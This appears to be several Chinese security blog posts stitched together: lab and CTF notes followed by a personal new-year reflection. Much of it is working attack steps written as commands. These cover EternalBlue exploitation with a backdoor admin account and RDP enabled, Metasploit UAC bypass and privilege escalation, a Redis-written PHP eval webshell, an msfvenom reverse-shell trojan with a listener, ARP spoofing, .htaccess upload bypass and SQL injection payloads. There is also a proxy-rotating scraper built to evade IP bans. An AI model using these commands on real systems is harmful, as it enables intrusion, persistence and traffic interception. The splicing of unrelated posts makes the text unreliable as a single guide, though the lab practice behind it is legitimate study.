利用ms17_010开启3389端口远程连接

攻击机kali

目标机win7 sp1(旗舰版)

当nmap或其他工具发现目标及上有445端口开启,可以考虑检测是否存在永恒之蓝,使用msf中的永恒之蓝检测模块

use auxiliary/scanner/smb/smb_ms17_010 
设置目标IP或网段 
set RHOSTS 192.168.194.129
执行扫描  
run

利用ms17_010开启3389端口

这里可以看到可能存在,我们开始执行,得到shell,如果出现乱码的话执行chcp 65001

use exploit/windows/smb/ms17_010_eternalblue 
查看可设置的选项 
show options 
设置***目标ip 
set RHOST 192.168.194.129
执行攻击
exploit

利用ms17_010开启3389端口

然后我们创建用户名密码 blue/blue
net user blue blue /add
将用户blue添加入管理组 (不加入会连接不上)
net localgroup administrators blue /add
开启远程桌面功能
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f (实测没问题)
Kali远程桌面连接Win7
rdesktop 192.168.194.129:3389(不在msf中执行)

这里连接会在目标机器上得到提示,如果不管的话30秒后将默认选择确定断开

利用ms17_010开启3389端口

利用ms17_010开启3389端口

当点击确定的话,可以连接成功

利用ms17_010开启3389端口

如果选择取消将连接不上,但这样的交互性太强了,容易被发现,因此开启完3389端口后可以用metasploit中的cve-2019-0708模块进行攻击获取shell(这里前提是目标机不是普通的家庭版,要支持远程连接),复现要将win7升级的激活码,上网上随便找就行

补充一下,如果这两个漏洞复现不成功,可能是防火墙的原因,或者重启一下(嘻嘻)

至此复现成功

UAC提权

当获得一个低权限的sessions时,这里是管理员权限,想进一步提升权限,可以使用UAC的方法,是因为此时无法通过getsystem直接提权

首先background让当前session后台运行
进入下面这个模块
use Exploit/windows/local/ask
set session (此时session对应id)
set filename QQ.exe(靶机上将要弹出的uac)
exploit
此时在靶机上出现一个exe文件可执行请求提醒,当点击是后,kali上会获得一个session

进入这个session

首先输入sessions查看所有获取到的session,然后进入对应会话session,命令是sessions -i (对应id)

执行getuid发现仍是管理员权限,但是不要担心,再次执行getsystem将获得system权限

但是这样的方式并不好,用户很明显可以看到这样的请求,稍微有些意识的用户都会拒绝点击,因此我们可以尝试bypass uac的方式,不与用户直接交互,而metasploit中就正好提供了这样的模块

MSF模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
我们这里就用bypassuac模块

只需设置session即可

set session (session为对应低权限的id)

我们也可以看到这个模块可以对32位和64位的电脑都有效

exploit后我们可以收到一个session,再次执行进入,重复上述提权步骤,将得到system权限(这里不放图了),而靶机那边没有任何反应

至此UACbypass提权成功

附加两个本地提权漏洞

利用本地提权漏洞
search ms14_058
use exploit/windows/local/ms14_058_track_popup_menu
设置session即可
exploit后得到session,这里都不用再执行getsystem的命令,直接得到system权限
可在winxp sp3,win2003 sp2,win7 sp1,win8 32位上执行
search ms16_016
use exploit/windows/local/ms16_016_webdav
设置session即可
exploit后得到session,这里都不用再执行getsystem的命令,直接得到system权限
可在win7 sp1上执行

爬虫的时候遇到封ip的时候可以采用做代理ip继续爬取,甚至可以做一个代理池,随机获取其中的代理ip,不断对目标网站继续爬取

以下是我对https://www.xicidaili.com/nn/这个国内代理网站进行爬取,这个网站中有免费的和付费的代理供我们使用

返回503,说明该网站有反爬机制

为什么会这样,是因为我们请求的太直白,python的requests库对网站请求的默认header是

很明显是一个爬虫,我们将浏览器中的header信息复制过来做成字典形式

headers的字典也可以只加User-Agent的信息

已经可以正常请求到,之后我们设置代理,(python爬虫高级用法中中自带的功能)

将代理网站获取到的ip和端口,写到字典中,但该网站

中有许多ip已经无效,请求时就会无响应,因此设置timeout延时3秒就断开

一个简单的筛选的完整代码:

import requests
from bs4 import BeautifulSoup
import re

#目标网址
for i in range(1,3238):
    url = "https://www.kuaidaili.com/free/inha/"+str(i)+"/"

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Cache-Control": "max-age=0",
    "Connection": "keep-alive",
    "Cookie": "_free_proxy_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiJTBhODYzOTM2ZjNmZjVlOGVhNDEwN2IyNzdkOTJiYzZhBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMWFzQVNrTFZzZlBweHpuajZaLy9IK1lMVXdPMUxwazRXQ3ZJcXpxWU0zMDA9BjsARg%3D%3D--3245375dab6a13de635b59428e1ab7dd714bada0; Hm_lvt_0cf76c77469e965d2957f0553e6ecf59=1578794781; Hm_lpvt_0cf76c77469e965d2957f0553e6ecf59=1578794781",
    "Host": "www.xicidaili.com",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}
    response = requests.get(url,headers = headers)
    html = response.text

    ips = re.findall('<td data-title="IP">(\d+\.\d+\.\d+\.\d+)</td>',html)
    ports = re.findall('<td data-title="PORT">(\d+)</td>',html)

    for ip in zip(ips,ports):
        proxies = {
            "http":"http://"+ip[0]+":"+ip[1],
            "https":"http://"+ip[0]+":"+ip[1],
        }
        try:
            res = requests.get('http://www.baidu.com',proxies=proxies,timeout=3)
            print(ip,"能使用")
            with open('ip.txt','a')as f:
                f.write(":".join(ip))
                f.write('\n')
        except Exception as e:
            print(ip,"不能使用")

 

这里给出几个免费的ip代理网站(目前还好使的)

http://www.66ip.cn/1.html
http://www.kuaidaili.com/free/inha/1/
http://www.xicidaili.com/nn/1
http://www.iphai.com/

然后我们利用爬取到的可用代理ip做代理池(随机获取),以下是我爬取补天公益src所有厂家域名的脚本,因为在正常的爬取中如果不加代理,一个ip爬到一定程度(大约200条左右)会被ban掉,所以利用上面的一个脚本,将获取到的可用代理做成代理池,继续爬取

这里我补充一是补天的反爬虫机制比较强,二是免费获取的代理也不够稳定(我买了付费的也不是很稳定),根据我自己测试应该要是能有稳定的代理可以爬取到

归根结底还是太菜了

import requests
import re
from bs4 import BeautifulSoup
import random
import threading
url = 'https://www.butian.net/Reward/pub'
headers={"Cookie":"登陆的cookie",
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36"}

def get_random_ip(ip_list):
    proxy_list = []
    for ip in ip_list:
        proxy_list.append('http://' + ip)
    proxy_ip = random.choice(proxy_list)
    proxies = {'http': proxy_ip}
    return proxies
    
def main():
    ip_list = open('ip.txt','r').readlines()
    proxies = get_random_ip(ip_list)
    for pnum in range(1,181):
        r=requests.post(url=url,data={'s':1,'p':pnum},proxies=proxies).json()
        for info in r["data"]["list"]:
            company_name = info["company_name"]
            #print(company_name)
            company_url = "https://www.butian.net/Loo/submit?cid="+info["company_id"]
            #print(company_url)
            html=requests.get(url=company_url,headers=headers,proxies=proxies).text
            #print(html)
            soup=BeautifulSoup(html,"lxml")        
            site = re.findall('<input class="input-xlarge" type="text" name="host" placeholder="输入所属域名或ip,若存在多个以,分隔" value="(.*)" />',html)
            # f = open('yuming.txt','a')
            # f.write(str(site[0]))
            # f.write('\n')
            print(site[0])
if __name__ == "__main__":
    main()​

redis数据库基本命令
redis端口默认6379
1.redis基本命令

连接redis:

redis-cli -h 192.168.63.130

查看redis版本信息、一些具体信息、服务器版本信息等等:

192.168.63.130:6379>info

将变量x的值设为test:

192.168.63.130:6379>set x “test”

是把整个redis数据库删除,一般情况下不要用!!!

192.168.63.130:6379>flushall

查看所有键:

192.168.63.130:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

192.168.63.130:6379>CONFIG GET dir

192.168.63.130:6379>CONFIG GET dbfilename

攻击方法:
写马
先连接redis-cli -h 30.10.0.6
从phpinfo中查到网站路径
config set dir /var/www/html/ 设置网站路径,这里必须提前知道网站的路径,这个可以在phpinfo信息中获取
config set dbfilename shell.php 创建文件
set webshell “<?php @eval($_POST[‘c’]);?>”
save
然后蚁剑连接即可,连接的是30.10.0.6/shell.php(这个给新手看下,因为我当初就不知道网站根目录是啥的,蚁剑都不会连,嘻嘻)

这里因为是用的学校靶场练习的,没有截图,手上只有一个当初用redis未授权访问写反弹shell的截图

至于redis未授权访问的其他玩法大家可以参考 https://www.cnblogs.com/bmjoker/p/9548962.html这篇文章

什么是后渗透?

攻陷了服务器,主机取得一定权限(可能不是很高)就开始进入了后渗透阶段
把对方机器打蓝屏重启有什么作用?
使得我们修改注册表等配置信息可以生效
windows的控制权限UAC,重启才可以生效,可以使用远程溢出蓝屏,用户可能会以为是bug,意外情况,不会注意
1.权限提升:权限提升的几种方式
(1)利用更高权限的进程进行操作,获得会话session
(2)windows下的用户控制,exe执行时弹出的框问你是否要执行,这个东西就是UAC
(3)利用服务器里面的本地提权漏洞进行权限提升(会在msf中)

2.信息收集:服务器信息、Hash、防火墙杀毒软件(利用一些方式将其关闭,最好设置些策略)、账号密码(管理员的账号密码或哈希值(哈希传递等方式登录))
服务器信息:浏览器的浏览记录,网络数据的监听捕获,敏感文件搜索,查看是否是一台虚拟机,最近执行的操作
3.内网渗透:端口转发(把内网的端口转到外网上面来,进行连接)、代理跳板
4.后门植入:永久后门维持权限(msf中集成了几种永久后门)
以下利用msfvenom生成木马获取权限开启后渗透阶段(当然也可以通过其他端口的漏洞等获取到meterpreter权限)

kali上先生成一个可以反弹shell得木马,这里我的win7靶机是64位,所以x64,如果是32位的使用x86

msfvenom -p windows/meterpreter/reverse_tcp lhost=攻击机IP lport=4444 -a x86 –platform windows -b “\x00\xff” -e x86/shikata_ga_nai -f exe > cc.exe

下面是使用msfvenom的部分参数,是比较常用的

-p 选择一个payload

-l 载荷列表

-f 生成的文件格式

-e 编码方式

-i 编码次数

-b 在生成的程序中避免出现的值

-x 允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。

-h 帮助

之后开启httpserver python -m SimpleHTTPServer 800

然后win7上访问攻击机ip:800,对木马文件进行下载

然后点击执行回到kali进入msfconsole

msfconsole中配置监听脚本
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 攻击机ip
exploit

端口默认是4444

开启监听后,当靶机触发该木马时会获取到sessions

然后我们ctrl+c终止下,查看下sessions,看到我们获取到的会话id,然后进入

session -i 9(这里对应的id)

python -c ‘import pty; pty.spawn(“/bin/bash”)’

然后我们尝试用python交换端获取到一个稳定的ttl

当获取到shell后有时候会出现编码问题,执行chcp 65001就好了

首先127.0.0.1:8080

点击红色框框,下载一个叫cacert.der的证书

进入火狐浏览器选项,进入隐私与安全,查看证书,证书颁发机构,导入刚刚的证书,如果之前有证书安装过将其删除

导入后可以看到

之后确定,开启代理即可抓包

攻击机kali

(1)IP地址:192.168.194.157

(2)硬件地址:00:0c:29:46:aa:16(注意)

(3)网关:192.168.194.2

靶机win7

(1)IP地址:192.168.194.129

(2)硬件地址:00:0c-29-14-bb-36

(3)网关:192.168.194.2

网关

(1)IP地址:192.168.194.2

(2)硬件地址:00:50:56:fa:bc:2c(注意)

在正常情况下查看下靶机ARP表,如下

ARP欺骗的原理及复现

当访问一个外网地址:“www.baidu.com”的时候,这时会首先将数据包交给网关,再由网关通过各种路由协议送到“www.baidu.com”

设置的网关地址为192.168.194.2,按照ARP表中对应的硬件地址为00:50:56:fa:bc:2c,这样所有数据包都发往这个硬件地址了

现在只需要想办法修改靶机的ARP表中的192.168.194.2表项即可,因为ARP中规定,主机只要收到一个ARP请求之后,不会去判断这个请求的真伪。就会直接将请求中的IP地址和硬件地址添加到ARP表中。如果之前有了相同的IP地址的表项,就对其进行修改,这种方式称为动态ARP表

ARP欺骗复现

使用kali中的arpspoof工具

这个工具的使用格式:arpspoof [-i 指定使用的网卡] [-t 要欺骗的主机] [-r] 要伪装成的主机

下面使用这个工具完成一次网络欺骗

ARP欺骗的原理及复现

现在收到欺骗的主机192.168.194.129就会把192.168.194.157当作网关,从而把所有数据都发送到这个主机,此时的ARP表如下

ARP欺骗的原理及复现

仔细看此时的物理地址都变为了攻击机kali的物理地址

这时我们便可以用wireshark进行查看,靶机访问的网页信息,但是此时攻击机也不会将这些数据包转发到网关,靶机此时无法正常上网(这里忘记截图了),所以需要在攻击机上开启转发功能,首先再另开一个终端

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

此时靶机中的数据可以被截获,同时靶机也可以正常上网,从而无法察觉到被攻击

ARP欺骗的原理及复现

当攻击停止,查看靶机中的ARP表会发现靶机中的网关物理地址也恢复正常,但会将攻击机的ip及物理地址记录下来

ARP欺骗的原理及复现

至此ARP欺骗复现完成

好久就想好好弄懂竞争上传的利用,今天可算是明明白白了

就这道题来说竞争上传三秒左右就会被删掉,真正的图片上传都会提示:上传的太露骨,上传带有‘<?’的php一句话也会被ban

绕过<?检验的方法:<script language=”php”>这里写php代码就行</script>

然后我们发现上传php时提示:后缀名不能有ph!

随便使网页报错发现是apache,想到用.htaccess绕过

给出两个.htaccess  payload

1.AddType application/x-httpd-php .jpg

2.SetHandler application/x-httpd-php

第一个会将.jpg文件的内容当作php代码执行

第二个会将所有文件的内容当作php代码执行

我们先上传.htaccess,然后上传一个jpg文件,其内容为

<script language=”php”>echo file_get_contents(“/flag”);</script>

我这里直接对文件进行读取了,如果换成一句话也可以,用蚁剑连接发现能够在多次尝试后连接上但是不够稳定,其实最好的方法是再生成一个shell.php,但是这里过滤了<?我尝试了下去生成但是失败了

然后我用了两种方法去做这道题

第一种:bp intruder模块对两个文件上传

设置null payload 选择好次数(尽量高些),线程可以略低一些,buu中复现的限制频率是5s50次

然后访问jpg文件回显的路径,获得flag

第二种:写脚本

import requests
url = “http://d8172728-e123-4436-85eb-8348d3d1847b.node3.buuoj.cn/”
session = requests.session()
htaccess = {‘uploaded’: (‘.htaccess’, “SetHandler application/x-httpd-php”, ‘image/jpeg’)}
#htaccess = {‘uploaded’: (‘.htaccess’, “AddType application/x-httpd-php .jpg”, ‘image/jpeg’)}
res_hta = session.post(url, files = htaccess)
print(res_hta.text)
files = {‘uploaded’: (‘123.jpg’, “<script language=\”php\”>echo file_get_contents(\”/flag\”);</script>”, ‘image/jpeg’)}
res_jpg = session.post(url, files = files)
print(res_jpg.text)

res_shell = session.get(url + res_jpg.text[-69:-22])
print(res_shell.text)

获得flag

前提是返回的路径不会不断变化,才可以用竞争上传,感觉利用条件还是比较苛刻的

首先遇到注册登录框,进行一个注册登陆后,点击申请广告

加入一个单引号申请,查看广告详情,发现有sql报错信息,存在注入,不难发现这是个二次注入的题

接下来用bp进行测试

这里报找不到列,只能一个一个手动测
The used SELECT statements have a different number of columns

接下来就逐一的增加或者是减少列数就行了,一个一个的试,最后发现列数有22列,显示位在2,3位

payload:admin’/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/’

得到注入点2和3

接下来按常规的思路去拿库列,但是or被过滤的死死的,因此information_schema没法用了

# information_schema绕过,kk师傅分享的东西

https://www.anquanke.com/post/id/193512

这里buu上没有这两个库,用第二个方法

#无列名注入

https://blog.csdn.net/qq_40500631/article/details/89631904

payload:admin’/**/union/**/all/**/select/**/1,group_concat((select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/c/**/union/**/select/**/*/**/from/**/users)b)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/’

这里返回查询广告查询,即可得到flag

这篇文章是作为我的一个对去年的回顾和对新的一年的展望

之所以要记录下这些是因为2019对我来说是一个蜕变的一年,我从一名迷茫的大学生,逐步走上了安全行业这个道路,而且我也非常感谢我前行的路上有与我志同道和的好友,学长,学姐与我共同成长,是他们让我的人生有了更多的色彩。这里着重也感谢一下我“熵增”大师傅,讲真的这真的是我的一个亦师亦友的学长,从接触CTF开始,接触web安全开始,每当我止步不前,怠惰迷茫的时候,他真的教会了我许多,不仅有对我人生道路的抉择的指导,更有对我技术的帮助与提高。而到如今为止,我也能真切的感受到自己的进步与成长,当然仍然是只菜鸡(嘻嘻,我会变强的)。

我知道安全的道路越走会越艰辛,我不知道我的天赋与努力最终能让我走到一个什么程度,但至少目前为止,我想莫问前程,努力拼搏(嘻嘻)而对于新的一年嘛,我也想给自己有几个小目标:

1.打好每一场ctf比赛,多积累各种比赛经验,努力挤进线下赛,与大佬们一较高下

2.掌握扎实的代码基础,自己多动手写一些自己的小工具

3.从代码层面更深入的去研究各种漏洞,最好能成功提交一些漏洞,(今年太菜了)

4.希望自己能逐步在CTF或安全圈中混出一些名气

5.扩展自己的知识面,去了解国内国际的各种热点形式,毕竟在我看来眼界更能决定一个人未来的高度不是!

Fighting,FIghting,Fighting!!!